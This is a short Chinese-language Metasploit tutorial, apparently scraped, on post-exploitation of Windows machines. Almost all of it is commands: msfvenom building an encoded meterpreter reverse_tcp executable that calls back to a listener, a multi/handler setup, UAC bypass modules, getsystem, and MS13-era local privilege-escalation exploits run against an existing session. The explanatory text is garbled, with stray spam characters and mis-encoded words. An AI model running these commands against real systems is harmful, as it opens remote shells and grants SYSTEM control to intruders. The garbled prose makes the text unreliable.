首先建立一個session巴粪，進入后滲透測試階段。
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=4444 -b "\x00\xff" -i 7 -f exe -o /root/1.exe? 首先生成一個meterpreter類型的payload
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.80.163
msf exploit(handler) > exploit
繞過UAC限制
exploit/windows/local/bypassuac 和 exploit/windows/local/bypassuac_injection
什么是UAC(用戶賬戶控制)民宿？娇妓，例如：
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set payload windows/meterpreter/reverse_tcp
msf exploit(bypassuac) > set lhost 192.168.80.163
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
meterpreter > getsystem ?繞過UAC獲取system權限
利用windows系統(tǒng)漏洞提權到system
exploit/windows/local/ms13_053_schlamperei
exploit/windows/local/ms13_081_track_popup_menu
exploit/windows/local/ms13_097_ie_registry_symlink
exploit/windows/local/ppr_flatten_rec
msf > use exploit/windows/local/ms13_053_schlamperei
msf exploit(ms13_053_schlamperei) > set session 1
msf exploit(ms13_053_schlamperei) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms13_053_schlamperei) > set lhost 192.168.80.163
msf exploit(ms13_053_schlamperei) > exploit
meterpreter > getsystem ?提權到system用戶
